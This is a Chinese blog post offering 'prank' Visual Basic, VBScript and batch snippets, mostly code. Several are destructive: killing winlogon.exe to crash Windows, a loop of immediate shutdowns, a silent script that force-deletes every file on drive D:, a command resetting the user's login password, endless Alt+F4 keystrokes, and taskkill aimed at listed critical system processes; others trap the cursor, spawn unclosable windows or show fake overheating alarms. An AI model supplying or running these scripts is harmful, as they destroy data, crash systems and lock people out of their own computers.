vb的一些搞怪的操作

原创 2013年12月05日 17:03:03
VB代码之:鼠标锁
option Explicit
Private Type RECT 
Left As Long 
Top As Long 
Right As Long 
Bottom As Long 
End Type
Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Sub Command1_Click()'锁定鼠标 
Dim r As RECT 
r.Left = 100: r.Top = 100 
r.Right = 100: r.Bottom = 100 
ClipCursor r 
End Sub
Private Sub Command2_Click()‘解除锁定 
ClipCursor ByVal 0& 
End Sub
 


VB代码之:蓝屏代码
Shell "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul", 0
 


VB代码之:关不掉的窗口 
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Print "woca"
Cancel = True
End sub
 


VB代码之:不断打开关机对话框
Private Declare Sub ShutDownDialog Lib "shell32.dll" Alias "#60" (ByVal hwndOwner As Long)
Private Sub Form_Load()
Do
ShutDownDialog hWnd
Loop
End Sub
 


VB代码之:弹出无限 Msgbox
Private Sub Form_Load() 
love: msgbox"嘿嘿" 
Go to love 
End Sub
 


VB代码之:CPU100%占据者
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Form1.Show
End Sub
Private Sub Form_Load()
Timer1.Interval = 10
Timer2.Interval = 10
Form1.Hide
For i = 1 To 1E+23
For a = 1 To 1E+16
Next a
For b = 1 To 1E+19
Next b
For c = 1 To 999999999
Next c
Next i
End Sub
Private Sub Timer1_Timer()
Form1.Show
End Sub
Private Sub Timer2_Timer()
Form1.Show
End Sub
 


VB代码之:编写系统炸弹
Private Sub Form_Load()
            For i=1To 1E+40
                Shell"shutdown -s -t 0"
            Next i
End Sub
 
 
VB代码之:编写无限弹不规则窗口
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Sub Form_Load() 
'窗口永在最前 
SetWindowPos Me.hWnd, -1, 500, 150, Me.Width, Me.Height, 1 
    
Randomize Timer '伪随机数发生器 
   
   Me.Width = Int(Screen.Width / 2 * Rnd) 
   Me.Height = Int(Screen.Height / 2 * Rnd) 
   Me.Left = Int((Screen.Width - Me.Width) * Rnd) 
   Me.Top = Int((Screen.Height - Me.Height) * Rnd)
   Timer1.Interval = Int(Rnd * 5000) + 5000 
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 
Dim a As New Form1 
a.Show 
Cancel = 1 
Me.FontSize = 14 
Print "这么是关不掉我的。" & vbCrLf & "啦啦啦……" 
End Sub
Private Sub Timer1_Timer() 
Me.Left = Rnd * 10000 
Me.Top = Rnd * 8000 
End Sub
 


VB代码之:鼠标不见了
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 
ShowCursor (False) 
End Sub
Private Sub Command2_Click() 
ShowCursor (True) 
MsgBox "ok" 
End Sub
 


这个是来自于 我们群里的论坛里的一个


创建 一个Text 和一个 Command1
Shell "Taskkill /f /im " & Text1.Text '结束Text1里的进程 ~ 
提个醒:把Text1的Text 为 "重要的进程" '我就不说 系统重要的进程了…… 请看下面 Windows 进程表
下面的是Windows XP 常见的进程列表
最基本的系统进程(也就是说,这些进程是系统运行的基本条件,有了这些进程,系统
就能正常运行)
smss.exe Session Manager
csrss.exe 子系统服务器进程
winlogon.exe 管理用户登录
services.exe 包含很多系统服务
lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。
(系统服务)
产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务)
svchost.exe 包含很多系统服务
svchost.exe
SPOOLSV.EXE 将文件加载到内存中以便迟后打印。(系统服务)
explorer.exe 资源管理器
internat.exe 托盘区的拼音图标
附加的系统进程(这些进程不是必要的,你可以根据需要通过服务管理器来增加或减
少)
mstask.exe 允许程序在指定时间运行。(系统服务)
regsvc.exe 允许远程注册表操作。(系统服务)
winmgmt.exe 提供系统管理信息(系统服务)。
inetinfo.exe 通过 Internet 信息服务的管理单元提供 FTP 连接和管理。(系统服务)
tlntsvr.exe 允许远程用户登录到系统并且使用命令行运行控制台程序。(系统服务)
允许通过 Internet 信息服务的管理单元管理 Web 和 FTP 服务。(系统服务)
tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。远程安装服务
的一部分。(系统服务)
termsrv.exe 提供多会话环境允许客户端设备访问虚拟的 Windows 2000
Professional 桌面会话以及运行在服务器上的基于 Windows 的程序。(系统服务)
dns.exe 应答对域名系统(DNS)名称的查询和更新请求。(系统服务)
以下服务很少会用到,上面的服务都对安全有害,如果不是必要的应该关掉
tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000
Professional 的能力。(系统服务)
支持以下 TCP/IP 服务:Character Generator, Daytime, Discard, Echo, 以及
Quote of the Day。(系统服务)
ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。(系统服
务)
ups.exe 管理连接到计算机的不间断电源(UPS)。(系统服务)
wins.exe 为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。
(系统服务)
llssrv.exe License Logging Service(system service)
ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。(系统服务)
RsSub.exe 控制用来远程储存数据的媒体。(系统服务)
locator.exe 管理 RPC 名称服务数据库。(系统服务)
lserver.exe 注册客户端许可证。(系统服务)
dfssvc.exe 管理分布于局域网或广域网的逻辑卷。(系统服务)
clipsrv.exe 支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面。(系统
服务)
msdtc.exe 并列事务,是分布于两个以上的数据库,消息队列,文件系统,或其
它事务保护资源管理器。(系统服务)
faxsvc.exe 帮助您发送和接收传真。(系统服务)
cisvc.exe Indexing Service(system service)
dmadmin.exe 磁盘管理请求的系统管理服务。(系统服务)
mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。(系统服
务)
netdde.exe 提供动态数据交换 (DDE) 的网络传输和安全特性。(系统服务)
smlogsvc.exe 配置性能日志和警报。(系统服务)
rsvp.exe 为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制
安装功能。(系统服务)
RsEng.exe 协调用来储存不常用数据的服务和管理工具。(系统服务)
RsFsa.exe 管理远程储存的文件的操作。(系统服务)
grovel.exe 扫描零备份存储(SIS)卷上的重复文件,并且将重复文件指向一个数据存
储点,以节省磁盘空间。(系统服务)
SCardSvr.exe 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统
服务)
snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系
统服务)
snmptrap.exe 接收由本地或远程 SNMP 代理程序产生的陷阱消息,然后将消息传递
到运行在这台计算机上 SNMP 管理程序。(系统服务)
UtilMan.exe 从一个窗口中启动和配置辅助工具。(系统服务)
msiexec.exe 依据 .MSI 文件中包含的命令来安装、修复以及删除软件。(系统服务)
嘿嘿 然后 Form的Load事件中 输入代码
Command1_Click
嘿嘿

msgbox "你要点100下确定",vbokcancel,"hkmfk"
for i=1 to 100
msgbox "加油!!!"&"还有"&(100-i)&"下",4096,"zhb0813"
next




dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true


2.删除D:所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true


3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop


4.不断按下alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop


放一个timer,名为timer1 
Private Sub Form_Load() 
Me.Visible = False 
Timer1.Interval = 10*1000 
End Sub 
Private Sub Timer1_Timer() 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" '可以多复制几个 msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
End Sub


多了 去看我回答的所有内容 我最在行了  VB的 不知道了
你应该不是很会 这些东西 VB还要编成EXE 有点麻烦 
我估计你问的是VBS BAT之类的脚本  


1.掉qq  taskkill /im qq.exe /f /t 
2.10秒强制关机(任务管理器无效) shutdown -s -t 10 
3.死机 start cmd 0% 
4.设置登录密码为2097152 net user "%username%" 2097152 
5.让电脑只剩一个背景 taskkill /im /f /t explorer.exe   VBS的 


1.莫名其妙结束当前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop  
2.不断提示你是猪 do msgbox("你是猪") loop 
剩下的是我以前编的 http://wenwen.soso.com/z/q242167878.htm ;
去这个网看看  BAT怎么写 你自己去网上找找我就不费话了
 
shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide 运行后直接蓝屏。。。慎用~
版权声明:本文为博主原创文章,未经博主允许不得转载。 举报

相关文章推荐

愚人节搞怪——突破IP限制刷票

愚人节到了,我也恶搞一下。最近看到某学校某网站发起了一个不公平的投票,于是我就趁此愚人节到来之际恶搞了一下。 目标投票系统不是判断Cookie,而是限制IP的,每个IP24小时内只能投一次,于是我就...
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)